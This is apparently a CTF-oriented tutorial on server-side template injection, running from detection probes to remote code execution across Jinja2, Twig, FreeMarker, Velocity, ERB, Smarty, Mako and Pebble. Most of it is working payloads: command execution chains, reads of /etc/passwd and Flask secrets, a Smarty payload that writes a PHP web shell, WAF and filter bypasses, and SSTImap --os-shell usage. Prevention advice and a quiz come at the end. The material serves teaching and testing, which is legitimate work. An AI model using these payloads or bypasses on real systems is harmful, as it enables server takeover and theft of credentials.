kavklaw@llm $ curl -s "http://vulnerable.htb/?name={{7*7}}"
From Template Engine Detection to Remote Code Execution
Server-Side Template Injection (SSTI) is a vulnerability that occurs when user input is unsafely embedded into a server-side template before rendering. Template engines — like Jinja2 (Python), Twig (PHP), FreeMarker (Java), ERB (Ruby), and many others — exist to separate presentation logic from application code. They let developers write HTML templates with dynamic placeholders that get filled in with data at render time.
The problem? When a developer concatenates user input directly into the template string instead of passing it as a data variable, the template engine interprets the input as template code rather than plain text. If an attacker injects template syntax like {{7*7}} and the server responds with 49, the engine is evaluating attacker-controlled expressions. And if it evaluates math, it can evaluate much more dangerous things — like operating system commands.
Template engines solve a real problem: building dynamic HTML without embedding raw code everywhere. Instead of writing:
# Ugly and unmaintainable
html = "<h1>Hello " + username + "</h1><p>You have " + str(count) + " messages</p>"
You write a template:
<!-- Clean separation of concerns -->
<h1>Hello {{ username }}</h1>
<p>You have {{ count }} messages</p>
The engine replaces the placeholders with actual values at render time. Different languages have different template engines:
The vulnerability is all about where user input enters the pipeline. Here's the difference between safe and vulnerable code in Flask:
# ✅ SAFE — user input is passed as a context variable
# The template engine treats 'name' as DATA, not code
@app.route('/hello')
def hello():
name = request.args.get('name', 'World')
return render_template('hello.html', name=name)
# hello.html: <h1>Hello {{ name }}</h1>
# ❌ VULNERABLE — user input is concatenated INTO the template string
# The template engine treats 'name' as TEMPLATE CODE
@app.route('/hello')
def hello():
name = request.args.get('name', 'World')
template = '<h1>Hello ' + name + '</h1>'
return render_template_string(template)
In the vulnerable version, if a user sends name={{7*7}}, the template string becomes <h1>Hello {{7*7}}</h1>, and Jinja2 evaluates it to <h1>Hello 49</h1>. The attacker is now writing code that executes on the server.
💡 Key distinction from XSS: Both SSTI and XSS involve injecting code through user input. But XSS executes in the browser (client-side) — it's a JavaScript injection. SSTI executes on the server — it's template code injection. The impact of SSTI is typically far more severe: where XSS steals cookies and sessions, SSTI can lead to full remote code execution (RCE) on the server. SSTI is closer to code injection than it is to XSS.
📜 History: SSTI was first formally documented by James Kettle (PortSwigger) in his 2015 research paper "Server-Side Template Injection." Before that, template injection was a known but poorly understood class of bugs often misidentified as XSS. The OWASP reference for this vulnerability class is WSTG-INPV-18.
Detection follows a systematic approach first formalized by PortSwigger. The goal is to determine: (1) Is user input being rendered by a template engine? (2) If so, which engine? The approach is similar to SQL injection detection — inject special characters and observe the response.
Start by injecting a polyglot string that contains syntax meaningful to multiple template engines. If the application errors or behaves differently, a template engine is likely processing your input:
${{<%[%'"}}%\
This string contains syntax from Jinja2/Twig ({{}}), FreeMarker/EL (${}), ERB (<%), and Smarty ({}). If the server throws an error (500, syntax error, template compilation error), you've likely found SSTI. If it reflects the string unchanged, the input probably isn't being template-processed.
If the polyglot triggers something interesting, narrow down the engine with arithmetic expressions. Different engines use different delimiters:
# Try each of these — see which one evaluates to 49:
{{7*7}} # Jinja2, Twig, Nunjucks, Handlebars
${7*7} # FreeMarker, Velocity, Mako, EL (Expression Language)
<%= 7*7 %> # ERB (Ruby)
#{7*7} # Pebble, Thymeleaf (inline), Java EL
{7*7} # Smarty (older versions)
#{ 7 * 7 } # Ruby string interpolation (rare in templates)
${{7*7}} # AngularJS (client-side, but sometimes seen server-side)
If {{7*7}} returns 49 in the response, you know the engine uses double-curly-brace syntax. If ${7*7} returns 49, you're dealing with dollar-brace syntax. This immediately narrows the candidates.
Sometimes your input lands inside an existing template expression rather than in plaintext. For example, the template might be:
Hello, {{user.name}}
And the app sets user.name from your input. In this case, basic probes like {{7*7}} won't work because they'll be treated as the value of name. You need to break out of the current context first:
# If your input lands inside a variable:
# Template: Hello, {{user.greeting}}
# Input: }}{{7*7}}{{
# Resulting template: Hello, {{}}{{7*7}}{{}}
# If the engine processes this → you see 49 in the output
# Or try closing a string context:
'}}-{{7*7}}-{{'
The critical probe for distinguishing Jinja2 from Twig (the two most common {{}} engines):
{{7*'7'}}
7777777 — Python repeats the string '7' seven times (string multiplication)49 — PHP coerces the string '7' to integer 7 and multipliesThis single test tells you exactly which engine you're dealing with.
⚠️ Warning: Don't just blindly inject payloads. Start with harmless arithmetic probes ({{7*7}}) before trying RCE payloads. In a real engagement, prematurely injectingos.popen('id')could trigger WAF alerts, get your IP banned, or worse — execute unintended commands on a production server. Detect first, exploit second.
Here's the decision tree approach. Work through it top-to-bottom based on what returns 49 (or an error):
┌──────────────────────┐
│ Inject polyglot: │
│ ${{<%[%'"}}%\ │
└──────────┬───────────┘
│
┌─────────▼─────────┐
│ Error or change? │
└─────────┬─────────┘
Yes │ No → Probably not SSTI
┌─────────────────┼─────────────────┐
│ │ │
┌──────▼──────┐ ┌──────▼──────┐ ┌───────▼──────┐
│ {{7*7}}=49? │ │ ${7*7}=49? │ │<%= 7*7 %>=49│
└──────┬──────┘ └──────┬──────┘ └───────┬──────┘
│ Yes │ Yes │ Yes
┌──────▼──────┐ ┌──────▼──────┐ ERB
│{{7*'7'}}= ? │ │ FreeMarker │ (Ruby)
└──────┬──────┘ │ Velocity │
│ │ Mako / EL │
┌────────┼─────┐ └─────────────┘
│ │
7777777 49
Jinja2 Twig
(Python) (PHP)
# FreeMarker confirmation:
${7*7} → 49
<#assign x = 7*7>${x} → 49 (FreeMarker directive syntax)
${.now} → current date/time (FreeMarker built-in)
# Velocity confirmation:
#set($x = 7*7)$x → 49
$class.inspect("java.lang.Math")→ reflection output
# Pebble confirmation:
{{ 7 * 7 }} → 49
{% set x = 7 * 7 %}{{ x }} → 49
{{ beans }} → lists available beans
# Smarty confirmation:
{7*7} → 49
{$smarty.version} → Smarty version string
# Mako confirmation:
${7*7} → 49
<% import os %> → no error = Mako
💡 Pro tip: In CTFs, about 70-80% of SSTI challenges use Jinja2 (because Flask is the go-to for quick Python web apps). If you see{{7*7}}returning49, try{{7*'7'}}immediately. If you get7777777, jump straight to the Jinja2 section below.
Jinja2 is the most common template engine in CTFs and one of the most interesting to exploit. It powers Flask, Django (optional), Ansible, and many Python web frameworks. Because Python's object model is richly introspectable, Jinja2 SSTI can almost always be escalated to full remote code execution.
Python's Method Resolution Order (MRO) lets you traverse the class hierarchy from any object back to the base object class, and from there access every loaded class in the Python process. This is the foundation of Jinja2 RCE:
# Start with any object — an empty string works:
''.__class__ → <class 'str'>
''.__class__.__mro__ → (<class 'str'>, <class 'object'>)
''.__class__.__mro__[1] → <class 'object'>
# Now list ALL subclasses of 'object' (every class loaded in the process):
''.__class__.__mro__[1].__subclasses__()
# Returns a massive list: [<class 'type'>, <class 'weakref'>, ...,
# <class 'subprocess.Popen'>, <class 'os._wrap_close'>, ...]
# The goal: find a class that gives access to os or subprocess
In a Jinja2 template, wrap this in {{ }}:
# List all subclasses (find the index of a useful one)
{{ ''.__class__.__mro__[1].__subclasses__() }}
# You're looking for classes like:
# - subprocess.Popen (direct command execution)
# - os._wrap_close (has reference to 'os' module)
# - warnings.catch_warnings (has __init__.__globals__)
# - importlib._bootstrap.ModuleSpec
The index of subprocess.Popen or os._wrap_close varies by Python version. Here's how to find it:
# Dump all subclasses and search manually:
{{ ''.__class__.__mro__[1].__subclasses__() }}
# Or use a loop to find the one you want:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if c.__name__ == 'Popen' %}
INDEX: {{ loop.index0 }}
{% endif %}
{% endfor %}
# Or find os._wrap_close:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if c.__name__ == '_wrap_close' %}
INDEX: {{ loop.index0 }}
{% endif %}
{% endfor %}
Once you know the subclass index (let's say os._wrap_close is at index 132):
# Via os._wrap_close → access os.popen():
{{ ''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('id').read() }}
# Via subprocess.Popen (if at index 407):
{{ ''.__class__.__mro__[1].__subclasses__()[407]('id', shell=True, stdout=-1).communicate()[0] }}
Hardcoding subclass indices is fragile. These payloads work regardless of Python version because they access os through global objects that Flask makes available in every template:
# Via config object (Flask exposes this in templates):
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
# Via lipsum (Jinja2 built-in — present in default namespace):
{{ lipsum.__globals__['os'].popen('id').read() }}
# Via cycler (another Jinja2 built-in):
{{ cycler.__init__.__globals__['os'].popen('id').read() }}
# Via joiner:
{{ joiner.__init__.__globals__['os'].popen('id').read() }}
# Via namespace:
{{ namespace.__init__.__globals__['os'].popen('id').read() }}
# Via request object (Flask-specific):
{{ request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['os'].popen('id').read() }}
# Via url_for (Flask-specific):
{{ url_for.__globals__['os'].popen('id').read() }}
# Via get_flashed_messages (Flask-specific):
{{ get_flashed_messages.__globals__['os'].popen('id').read() }}
💡 Pro tip: Thelipsumpayload is probably the most reliable and shortest.lipsumis in Jinja2's default global namespace (it generates lorem ipsum text), and in most environments its__globals__contain a reference to theosmodule. Memorize this one:{{ lipsum.__globals__['os'].popen('CMD').read() }}
Even without RCE, you can extract useful information from Flask's request object:
# Access request data:
{{ request.args }} → GET parameters
{{ request.form }} → POST parameters
{{ request.cookies }} → cookies
{{ request.headers }} → HTTP headers
{{ request.environ }} → WSGI environment (may contain secrets)
# Access Flask config (often contains SECRET_KEY, database URIs):
{{ config }}
{{ config.items() }}
{{ config['SECRET_KEY'] }}
Many CTF challenges filter specific characters or keywords. Here are workarounds:
# ─── NO UNDERSCORES (_ blocked) ───────────────
# Use the attr() filter with hex or string escapes:
{{ lipsum|attr("\x5f\x5fglobals\x5f\x5f") }}
# \x5f is the hex code for underscore
# Or use request.args to pass them:
{{ lipsum|attr(request.args.g)|attr(request.args.p)('id').read() }}
# URL: ?g=__globals__&p=__getitem__
# ─── NO DOTS (. blocked) ─────────────────────
# Use [] bracket notation:
{{ lipsum['__globals__']['os']['popen']('id')['read']() }}
# Or use the attr() filter:
{{ lipsum|attr('__globals__')|attr('__getitem__')('os') }}
# ─── NO BRACKETS ([ ] blocked) ───────────────
# Use |attr() for everything:
{{ lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('id')|attr('read')() }}
# ─── BLOCKED KEYWORDS (e.g., 'os', 'popen') ──
# String concatenation:
{{ lipsum.__globals__['o'+'s'].popen('id').read() }}
# Hex encoding:
{{ lipsum.__globals__['\x6f\x73'].popen('id').read() }}
# \x6f\x73 = 'os'
# Using request args:
{{ lipsum.__globals__[request.args.m].popen(request.args.c).read() }}
# URL: ?m=os&c=id
# ─── NO {{ }} (double curly braces blocked) ──
# Use {% %} statement blocks with print:
{% print lipsum.__globals__['os'].popen('id').read() %}
# Or use {%- -%} with set and print:
{%- set result = lipsum.__globals__['os'].popen('id').read() -%}
{% print result %}
⚠️ Important: In real CTFs, you'll often chain multiple bypass techniques. For example, if both underscores and dots are blocked, you combine|attr()with hex escapes:{{ lipsum|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("os")|attr("popen")("id")|attr("read")() }}
Twig is the default template engine for Symfony (PHP). It's the second most common engine in CTFs after Jinja2. Twig is generally more locked down than Jinja2 — it runs in a sandbox by default and doesn't expose PHP functions directly. But there are well-known bypasses.
# Confirm Twig:
{{7*7}} → 49
{{7*'7'}} → 49 (NOT 7777777 — that's Jinja2)
{{dump()}} → dumps Twig environment variables
In older Twig versions (< 2.0), you could access the environment object directly:
# Register system() as an undefined filter callback, then call it:
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
# How it works:
# 1. _self.env gives you the Twig\Environment object
# 2. registerUndefinedFilterCallback sets a PHP callable for unknown filters
# 3. getFilter("id") triggers the callback with "id" as argument
# 4. system("id") executes, returning output
⚠️ Note: This payload does NOT work in Twig 2.x or 3.x._selfwas deprecated in Twig 1.x and changed in Twig 2.0 to return only the template name — breaking_self.envaccess entirely. If you try this on a modern Twig app, you'll get an error. Use the filter-based techniques below instead.
# filter() with system — the go-to modern payload:
{{['id']|filter('system')}}
# How it works:
# |filter() is Twig's array filter function (like array_filter in PHP)
# It calls the callback ('system') on each array element ('id')
# system('id') executes and output appears
# map() works similarly:
{{['id']|map('system')}}
# sort() with a custom comparator:
{{['id','']|sort('system')}}
# reduce():
{{[0,0]|reduce('system','id')}}
# Read files using file_excerpt (if Twig source extension is loaded):
{{'/etc/passwd'|file_excerpt(0,100)}}
# Reads first 100 lines of /etc/passwd
# source() function (reads a template file):
{{ source('/etc/passwd') }}
# May or may not work depending on Twig configuration
# Dump available variables:
{{ dump() }}
# Dump a specific variable:
{{ dump(app) }}
# Access app environment:
{{ app.request.server.all|join(',') }}
# Access environment variables (Symfony):
{{ app.request.server.get('HOME') }}
FreeMarker is widely used in Java applications (Spring, Struts). Its ?new() built-in allows instantiation of arbitrary Java classes:
# RCE via Execute class:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# RCE via ObjectConstructor:
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
${ob("java.lang.ProcessBuilder", ["id"]).start().inputStream.text}
# Read files:
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().text}
# Get class info:
${object.class.name}
Apache Velocity is another Java template engine. It uses # for directives and $ for variables:
# RCE via reflection:
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$chr.toChars($out.read())#end
# Shorter (if tools are available):
$class.inspect("java.lang.Runtime").type.getRuntime().exec("id").waitFor()
Embedded Ruby is the default template engine in Ruby on Rails. ERB SSTI is particularly straightforward because Ruby's system() and backtick operators directly execute commands:
# Direct command execution:
<%= system("id") %>
# Using backticks:
<%= `id` %>
# Read files:
<%= File.open('/etc/passwd').read %>
# Kernel.exec (replaces process):
<%= IO.popen("id").read %>
Smarty is one of the oldest PHP template engines. Older versions are extremely easy to exploit:
# Direct function call (Smarty 2.x / some 3.x configs):
{system('id')}
# If direct calls are blocked, use tags:
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['c']); ?>",self::clearConfig())}
# Via php tag (if enabled):
{php}system('id');{/php}
# Note: {php} tag is deprecated in Smarty 3 and removed in 4
Pebble is a Java template engine inspired by Twig. Exploitation requires access to Java's Runtime:
# RCE via beans (Spring context):
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(bytes) }}
Mako templates use ${} syntax and have direct access to Python. SSTI in Mako is essentially unrestricted Python code execution:
# Direct Python execution — Mako has minimal sandboxing:
${__import__("os").popen("id").read()}
# Multi-line:
<%
import os
result = os.popen('id').read()
%>
${result}
# Import and execute:
${__import__("subprocess").check_output("id", shell=True)}
💡 Pro tip: Mako is basically unrestricted Python execution with template syntax. If you confirm Mako SSTI, you don't need any of the MRO chain trickery from Jinja2 — just ${__import__("os").popen("CMD").read()} works directly.
SSTImap is the modern successor to tplmap. It supports detection and exploitation of SSTI across multiple template engines:
# Install SSTImap:
git clone https://github.com/vladko312/SSTImap.git
cd SSTImap
pip3 install -r requirements.txt
# Basic usage — test a parameter:
python3 sstimap.py -u "http://target.htb/page?name=test"
# Specify POST data:
python3 sstimap.py -u "http://target.htb/page" -d "name=test"
# Get an interactive shell:
python3 sstimap.py -u "http://target.htb/page?name=test" --os-shell
# Read a file:
python3 sstimap.py -u "http://target.htb/page?name=test" --os-cmd "cat /etc/passwd"
# Force a specific engine:
python3 sstimap.py -u "http://target.htb/page?name=test" -e jinja2
tplmap was the original SSTI automation tool. SSTImap has largely replaced it, but you may still see references to it:
# Install tplmap:
git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install -r requirements.txt
# Basic usage:
python tplmap.py -u "http://target.htb/page?name=test"
# Interactive shell:
python tplmap.py -u "http://target.htb/page?name=test" --os-shell
Modern applications often deploy filters, WAFs, or sandboxes to prevent SSTI exploitation. Here are the most common restrictions and how to bypass them:
_ blocked)# Jinja2 — use attr() with hex escapes:
{{ lipsum|attr("\x5f\x5fglobals\x5f\x5f") }}
# Jinja2 — use request.args to pass underscored strings:
{{ lipsum|attr(request.args.a) }}
# URL: ?a=__globals__
# Jinja2 — use request.cookies:
{{ lipsum|attr(request.cookies.a) }}
# Cookie: a=__globals__
# Twig — hex in variable names:
{{ ("\x5f\x5fself")|filter("system") }}
. blocked)# Jinja2 — use [] bracket notation:
{{ lipsum['__globals__']['os']['popen']('id')['read']() }}
# Jinja2 — use attr() filter:
{{ lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('id')|attr('read')() }}
# String concatenation (Python):
{{ lipsum.__globals__['o'+'s'] }}
{{ lipsum.__globals__[('o','s')|join] }}
# Hex encoding:
{{ lipsum.__globals__['\x6f\x73'] }} # 'os'
{{ lipsum.__globals__['os']['\x70\x6f\x70\x65\x6e']('id') }} # 'popen'
# Unicode escapes:
{{ lipsum.__globals__['\u006f\u0073'] }}
# Reverse string:
{{ lipsum.__globals__['so'[::-1]] }}
# Using chr() via cycler:
{% set c = cycler.__init__.__globals__.__builtins__.chr %}
{{ lipsum.__globals__[c(111)~c(115)].popen('id').read() }}
# Comments between keywords (Twig):
{{7*'7'}} → {{7*{# comment #}'7'}}
# Whitespace variations:
{{ 7 * 7 }}
# URL encoding the payload:
%7b%7b7*7%7d%7d
# Double URL encoding (when app decodes twice):
%257b%257b7*7%257d%257d
# Using different Jinja2 block types:
{% if lipsum.__globals__['os'].popen('id').read() %}1{% endif %}
# Using set + print instead of {{ }}:
{% set x = lipsum.__globals__['os'].popen('id').read() %}{% print x %}
💡 Pro tip: When facing a WAF, test your bypass techniques one at a time. Inject a simple probe like{{7*7}}with your encoding, and only move to RCE payloads once you confirm the bypass works. WAFs often have different rules for different keywords — what blocks__class__might not block__globals__.
Preventing SSTI is straightforward in principle — the challenge is making sure developers consistently follow the right patterns:
This is the cardinal rule. Always pass user input as context variables, never as part of the template string:
# ❌ VULNERABLE — user input in template string:
template = "Hello " + user_input
render_template_string(template)
# ✅ SAFE — user input as context variable:
render_template_string("Hello {{ name }}", name=user_input)
# ✅ SAFEST — use render_template() with template files:
render_template("hello.html", name=user_input)
Most template engines offer sandboxing that restricts what templates can access:
# Jinja2 sandboxed environment:
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("Hello {{ name }}")
# This blocks access to __class__, __mro__, __subclasses__, etc.
// Twig sandbox (restrict allowed tags, filters, functions):
$policy = new \Twig\Sandbox\SecurityPolicy(
['if', 'for'], // allowed tags
['upper', 'lower'], // allowed filters
[], // allowed methods
[], // allowed properties
['range'] // allowed functions
);
$sandbox = new \Twig\Extension\SandboxExtension($policy, true);
$twig->addExtension($sandbox);
While not a primary defense (defense in depth), validating input to reject template syntax characters can add a layer of protection:
# Reject inputs containing template delimiters:
import re
dangerous_patterns = re.compile(r'[{}\[\]$#%<>]')
if dangerous_patterns.search(user_input):
abort(400, "Invalid characters in input")
Template engines like Mustache and Handlebars are "logic-less" — they don't support arbitrary code execution by design. If your templates don't need complex logic, use a simpler engine:
<!-- Mustache/Handlebars — no code execution possible -->
<h1>Hello {{name}}</h1>
<!-- Even if injected, the engine has no eval capability -->
{{7*7}} returns 49, it's SSTI, not XSS. The severity and impact are completely different.__subclasses__()[132] break across Python versions because the subclass list changes. Use reliable objects like lipsum, config, or cycler to reach __globals__['os'] without index-dependent chains._self.env.registerUndefinedFilterCallback payload only works on Twig 1.x. Modern Twig (2.x/3.x) removed this access. Always try {{['id']|filter('system')}} on modern Twig applications.{{7*7}}. The application might use FreeMarker (${7*7}), ERB (<%= 7*7 %>), or Smarty ({7*7}). Always test multiple template syntaxes before concluding "not vulnerable."}}) before injecting your own template code. Always consider where your input is being placed.render_template_string() in code review. In Flask code reviews, render_template() (with file-based templates) is safe. The vulnerability is almost always in render_template_string() called with user-controlled input. Search for render_template_string first.{{7*'7'}} into a web application and the response shows 7777777. Which template engine is being used?7*'7' performs string multiplication — repeating the string '7' seven times to produce 7777777. This is a Jinja2 (Python) behavior. Twig (PHP) would return 49 because PHP coerces the string to an integer before multiplication. FreeMarker and ERB use completely different syntax.render_template_string() takes a template string and renders it. When user input is concatenated into that string, it becomes part of the template code. render_template() loads templates from files and passes user input as context variables — this is safe because the user input is treated as data, not code.lipsum is a built-in Jinja2 function that's always available. Its __globals__ contain a reference to the os module. Unlike subclass-index-based payloads (which break across Python versions) and direct __import__ (which isn't available in Jinja2's context), the lipsum approach is version-independent and concise._self.env payload only works on Twig 1.x — modern Twig (2.x/3.x) removed public access to the environment object. The |filter('system') approach uses Twig's built-in filter function (equivalent to PHP's array_filter) to call system() on the array element. This is the standard modern Twig RCE technique._) in Jinja2 input. How can you still access __globals__?\x5f as the underscore character at runtime. So "\x5f\x5fglobals\x5f\x5f" evaluates to "__globals__" inside the template engine, but the WAF only sees hex escapes, not literal underscores. Alternatively, you can pass the underscored strings via request.args or request.cookies. Uppercase won't work because Python attribute names are case-sensitive.${{<%[%'"}}%\ contains syntax from multiple template engines. If the server errors or behaves differently, it suggests template processing. Then narrow down with arithmetic probes like {{7*7}}. Never jump straight to RCE payloads — you could trigger alerts, get blocked, or execute unintended commands.${7*7} returns 49 and you can use <#assign> directives. What payload achieves RCE?<#assign> directive and ${} syntax identify this as FreeMarker. The ?new() built-in creates an instance of the Execute utility class, which runs OS commands. The Jinja2 payload (option A) is Python-only, the Twig payload (option B) is PHP-only, and ERB (option D) is Ruby-only.{{ }} and . characters are blocked. Which approach lets you still execute commands?{% %} for statements. Combined with {% print %} you can output values without {{ }}. The |attr() filter replaces dot notation entirely: {% print lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('id')|attr('read')() %}. Always explore alternative syntax before giving up.render_template("page.html", name=user_input) is safe because the template engine treats name as data, not code. WAF rules can be bypassed (as we covered in the filter bypass section). HTTPS has nothing to do with template injection. Disabling template engines entirely is impractical.